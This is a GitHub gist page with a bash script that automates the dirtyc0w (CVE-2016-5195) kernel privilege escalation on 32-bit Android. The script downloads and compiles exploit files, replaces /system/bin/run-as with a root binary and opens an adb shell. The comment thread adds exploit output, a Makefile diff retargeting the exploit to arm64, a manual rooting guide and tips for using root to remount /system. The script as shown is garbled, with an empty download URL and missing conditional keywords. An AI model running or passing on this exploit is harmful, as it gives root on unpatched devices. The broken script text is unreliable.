Create a gist now

Instantly share code, notes, and snippets.

What would you like to do?
"Root" via dirtyc0w privilege escalation exploit (automation script) / Android (32 bit)
# Give the usual warning.
echo "[INFO] Automated Android root script started.\n\n[WARN] Exploit requires sdk module \"NDK\".\nFor more information, visit the installation guide @\n[INFO] Press Ctrl+C to stop the script if you need to install the NDK module. Waiting 10 seconds...";
sleep 10;
# Download and extract exploit files.
echo "[INFO] Downloading exploit files from GitHub...";
rm -f $workspacezip > /dev/null; # Remove zip if it exists
rm -rf $workspace > /dev/null; # Remove workspace if it exists
wget -O > /dev/null 2>&1;
if [ -f $workspacezip ];
echo "[INFO] Extracting exploit files...";
unzip -a $workspacezip -d $workspace > /dev/null;
rm -f $workspacezip; # Remove zip if it exists
echo "[ERR] Failed to download exploit files.";
exit 1;
if [ -d $workspace ];
cd $workspace;
directory=$PWD; # thx @tomdeboer!
cd CVE-2016-5195-master;
echo "[ERR] Failed to extract exploit files.";
exit 1;
# Compile and send exploit.
echo "[INFO] Exploiting dirtyc0w vulnerability...";
sleep 1; # Let them read the message before chaos
make root;
# Hooray!
echo -n "[INFO] Complete. Installed package \"run-as\" on device.\n[INFO] Cleaning up workspace...";
rm -rf $directory; # Clean up workspace
echo "Done";
echo "[INFO] Starting shell in 3 seconds...";
sleep 3; # Look, it worked!
adb shell;
exit 0;

Arinerron commented Oct 27, 2016

I put 'root' in quotes, because technically, it isn't rooting. However, it creates a binary called 'run-as' that can execute packages as root.

Hey, Cool seeing you on front page of HN!


Arinerron commented Oct 27, 2016

@beardog108 I am? :P

ntcong commented Oct 27, 2016

Well if you can execute as root, I'm pretty sure that qualified as rooting in this case.

tomdeboer commented Oct 27, 2016

It'd be nice to have a little check after the download and unzip to see if it worked, otherwise your $PWD will be recursively removed

Edit: Done.


Arinerron commented Oct 27, 2016

@tomdeboer Haha, that's true. Revised the code.

Why does it download and execute a script from the web (and not even verify a hash!) instead of bundling the necessary files? (At least it uses HTTPS...)


Arinerron commented Oct 27, 2016

@RenaKunisaki Right, I'll do that when I have time. Thanks.

It does not work on my Stock Samsung Galaxy S5 (Android 6.0.1/Patchlevel September 1-2016/Kernel3.4.0-8538464).

[] mmap 0xb6d7b000
] exploit (patch)
[] currently 0xb6d7b000=464c457f
] madvise = 0xb6d7b000 17920
[] madvise = 0 1048576
] /proc/self/mem 1610612736 1048576
[*] exploited 0xb6d7b000=464c457f
/home/myUser/Android/Sdk/platform-tools/adb shell /system/bin/run-as
running as uid 2000
Could not set capabilities: Operation not permitted
setresgid/setresuid failed
uid 2000
Any ideas?


Arinerron commented Oct 27, 2016

@blizzard4591 Hey. You're not the only one with that problem actually. The reason why it doesn't work is (probably) because your phone has a 64-bit CPU. I haven't worked on a 64-bit version yet, but in the makefile, you can change a setting in the makefile so it compiles for 64-bit architecture.

Edit: Here's an issue you might want to see: timwr/CVE-2016-5195#7

MF064DD commented Oct 27, 2016

[INFO] Downloading exploit files from GitHub...
[ERR] Failed to download exploit files.

Is there something I'm doing wrong here?


Arinerron commented Oct 27, 2016

@MF064DD Is there an error when you run:

wget -O;


Edit: Oh, nevermind. Apparently wget doesn't accept variables in the parameters. I updated the script. Sorry for the inconvenience!

Still the same error: Failed to download exploit files

MF064DD commented Oct 27, 2016

Still the same error: Failed to download exploit files

Exactly what he said. :p

Maybe I'm doing it wrong. I installed the necessary sdk modules and such.

Here's a visual.

when i try just to execute the wget command i get this error:
Connecting to ( wget: can't execute 'ssl_helper': No such file or directory
wget: error getting response: Connection reset by peer


Arinerron commented Oct 27, 2016

@MF064DD @SpyKnife Okay, sorry guys. The problem is that wget and unzip commands aren't being used properly. I can't fix it on my phone, because the editor isn't working. I won't have computer access till tonight (it's noon here, and I'm at school). Really sorry about the delay! I'll @mention you when it is fixed.

MF064DD commented Oct 27, 2016

No problem man! Hey, you gotta life. I can wait as long as you need us to. ^^


Arinerron commented Oct 28, 2016

@MF064DD @SpyKnife Okay, weird thing. I'm on my computer now, and I can execute the script fine. I think the reason why it works on my computer and not my laptop is because of the version of wget and/or unzip. Specifically, wget seems to not have SSL support on certain versions (probably yours too).

I'm not sure as of now how I can download files off the internet via bash without using 3rd parties (like curl). Here's a manual guide though:

Root Android 32-bit / Guide


  • Linux machine with
    • adb
    • android-ndk
    • gcc
  • 32-bit Android device plugged in to computer


  1. Download the exploit from here.
  2. Extract the zip file
  3. Enter the extracted zip's directory in Terminal
  4. Run the following command:
make root && adb shell;

And tada! The run-as binary has been installed on your android system.


Arinerron commented Oct 28, 2016

@blizzard4591 Here's a quote from the issue:

The device has a 64-bit architecture, so we need to use the arm64-v8a variant of the compiled binaries.

[This is how I modified the file]

diff --git a/Makefile b/Makefile
index 19e09b8..1dd61c3 100644
--- a/Makefile
+++ b/Makefile
@@ -5,8 +5,8 @@ build:

 push: build
-       adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
-       adb push libs/armeabi/run-as /data/local/tmp/run-as
+       adb push libs/arm64-v8a/dirtycow /data/local/tmp/dirtycow
+       adb push libs/arm64-v8a/run-as /data/local/tmp/run-as

 root: push
    adb shell 'chmod 777 /data/local/tmp/run-as'

A good way to get device's abi could be

$ adb shell 'getprop ro.product.cpu.abilist'

Total noob here: is it usable on a Exynos S7Edge (G935F)? If so, would it trip knox to 0x1 (I assume it won't, but asking to be sure)

Man, those semicolons are driving me crazy. :O This is just an automation script for CVE repo, right?

MF064DD commented Oct 28, 2016

Cool, got that... now where do I go from here exactly?


cmwedin commented Oct 28, 2016

i got run-as on, my phone, but if i try to do anything with it i get permission denied. Has anyone been able to run things as root with this? My phone doesn't have a way to unlock the bootloader, could that have something to do with it?

Is this only for 32-bit Android phones?


Arinerron commented Oct 28, 2016

Heh, here we go.

@RaPoZaUm Probably would work, but I haven't tested it.
@kirbyfan64 Yup
@MF064DD It should have installed a binary called run-as. You can open a terminal emulator on your phone and run stuff like run-as echo "pwned" > root_only_file.txt and write to it as root.
@cmwedin Sorry it isn't working. It might be that the binary is built for a 32-bit arch and your phone is 64. You can configure that. See my comment above. If it doesn't work, please report it here: Thanks!
@PVineeth The script is only built for 32-bit phones right now. You can exploit 64-bit phones though, too. See my comment above for more info.

mauricioprado00 commented Oct 30, 2016

Anyone has any idea what to use on the argument of run-as ?

1|shell@peregrine:/ $ run-as                                                   
Usage: run-as <package-name> <command> [<args>]

edit: I found what goes on package-name, this will give you a list of options

pm list packages -f

but... it doesn't work, example:

1|shell@peregrine:/ $ run-as ls                 
run-as: Package '' is not debuggable

cmwedin commented Oct 30, 2016

@Arinerron my phone is 32 bit :/

MrMino commented Nov 10, 2016

It won't work anyway. The exploit in question can't run anything out of it's normal context, because SE for Android will catch it (darn you SELinux, ruining my dreams constantly since 1998), and the child/fork will run with standard UID. I tried to run sh with system() and execp(), I tried to chown() it to root:root, and SUID/GUID it with chmod(). Nothing works. I think that editing an existing binary with SUID toggled might work, but I didn't tried it - too much hassle for me, and generating a custom payload to do this is a bitch of a task, for someone who doesn't know the architecture.

tinxx commented Nov 11, 2016

Have you taken into account that run-as is meant to give you different privileges and therefore would work within it's threshold (SE-wise)?
I think it still could work with the correct run-as binary, not yet tested myself, though.

garikay commented Dec 13, 2016

Arinerron please do (automation script) to 64 bit. I tried to modify the way you showed it but I could not get ...I have a backup TA partition for my Sony XA Ultra make via dirtyc0w escalation exploit. Now I need to exploit to root but I did not get, please help me

Pcmster commented Dec 31, 2016

Hello, sorry if I'm not an expert, but when I execut "run-as" it shows:
running as uid 2000
uid 0
When I type " ls /data/app " it says Permission denied, what I need to do?

Fohroer commented Jan 1, 2017

Will this work on Doogee X9 Pro or I will brick my device with this? Will this script install SuperSU or I must manually download it?


Arinerron commented Jan 7, 2017

@PVineeth @MrMino @tinxx @garikay @Pcmster @buranek

If you're tech-savvy (I assume you are since you are using GitHub), I made a more "hands on" tutorial here. :)

@MF064DD Sorry for the late response. Type adb shell, then run-as. You now are root on your phone.

Good luck! If that doesn't work, feel free to @mention me and I'll see if I can help.

Rasmis commented Jan 10, 2017

I'm trying to use this to root a B&O Horizon running Android 5.1.1, and it doesn't seem to work. When I do run-as in adb shell I get this:

1|shell@bno_MT5593Uplus_EU:/ $ run-as
Usage: run-as <package-name> <command> [<args>]

If I try to run any package with run-as, it says run-as: Package '[ ]' is not debuggable. I've tried own packages, already installed packages, official and unofficial packages.

Any thoughts @Arinerron ?

m4hmoud commented Jan 19, 2017

I tried using this on LG G3 (with armeabi-v7a version), but I get this error:

could not open /system/bin/run-as

And run-as command gives me this:

run-as: can't execute: Permission denied

Anybody has any suggestions?

Melab commented Jan 29, 2017

@Arinerron Is there anyway to do this WITHOUT modifying files on the system partition? I mean, if you can use this exploit to replace /system/bin/run-as, then surely you can use it to do things that you'd use the new /system/bin/run-as to do, right?


@Arinerron setresgid/setresuid failed on my Note 5 arm64-v8a .. I don't really know where to begin to fix that but if I could get some elevation I could have some real fun. I am a programmer, just not an Android wizard.

thaomvs commented Mar 9, 2017

Hi @Arinerron,
I installed the run-as successfully. However, it still does not allow to write the file.

shell@P1a42:/ # echo "pwned" > root_only_file.txt
/system/bin/sh: can't create root_only_file.txt: Read-only file system

Is there any extra steps to take it work?

20esaua commented Apr 12, 2017

@thaomvs Sorry about the late reply-- Simply executing run-as switches to the root user.

sevenup30 commented May 12, 2017

Once i gain root acces i can't remount system for installing su binnary,
`# adb shell

athene_f:/ $ run-as

uid run-as 2000
uid 0
0 u:r:runas:s0
context 0 u:r🐚s0

athene_f:/ # whoami


athene_f:/ # mount -o rw,remount /system
'/dev/block/bootdevice/by-name/system' is read-only
mount: '/dev/block/bootdevice/by-name/system'->'/system': Permission denied
1|athene_f:/ #
Any idea why?
I followed your guide
Root Android 32-bit / Guide

Linux machine with
32-bit Android device plugged in to computer


Download the exploit from here.
Extract the zip file
Enter the extracted zip's directory in Terminal
Run the following command:

make root && adb shell;

and my phone is a 32bits


sick13 commented May 28, 2017

@Arinerron i have read thru the comments and i have a question.
installing "run-as" on android trough this script will allow me to say start FX File manager with root permissions and then i can delete/remove system apps? correct?

20esaua commented Jun 6, 2017

@sevenup30 Try remounting /system using this command: mount -o rw,remount /dev/block/bootdevice/by-name/system /system
@sick13 Yes, correct. That should work.

20esaua commented Jun 6, 2017

@m4hmoud Sorry again for the late reply. Dirtycow was from last November-ish. Do you know if your system already patched?

cyrexcyborg commented Aug 31, 2017

hi, I've done all the steps, but don't get any info instead of exploited.

  • [*] size 14192
  • [*] mmap 0x7f7f3c5000
  • [*] currently 0x7f7f3c5000=10102464c457f
  • [*] using /proc/self/mem method
  • [*] madvise = 0x7f7f3c5000 14192
  • [*] madvise = 0 16777216
  • [*] /proc/self/mem 142459296 10038
  • [*] exploited 0 0x7f7f3c5000=10102464c457f
    no any info here
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment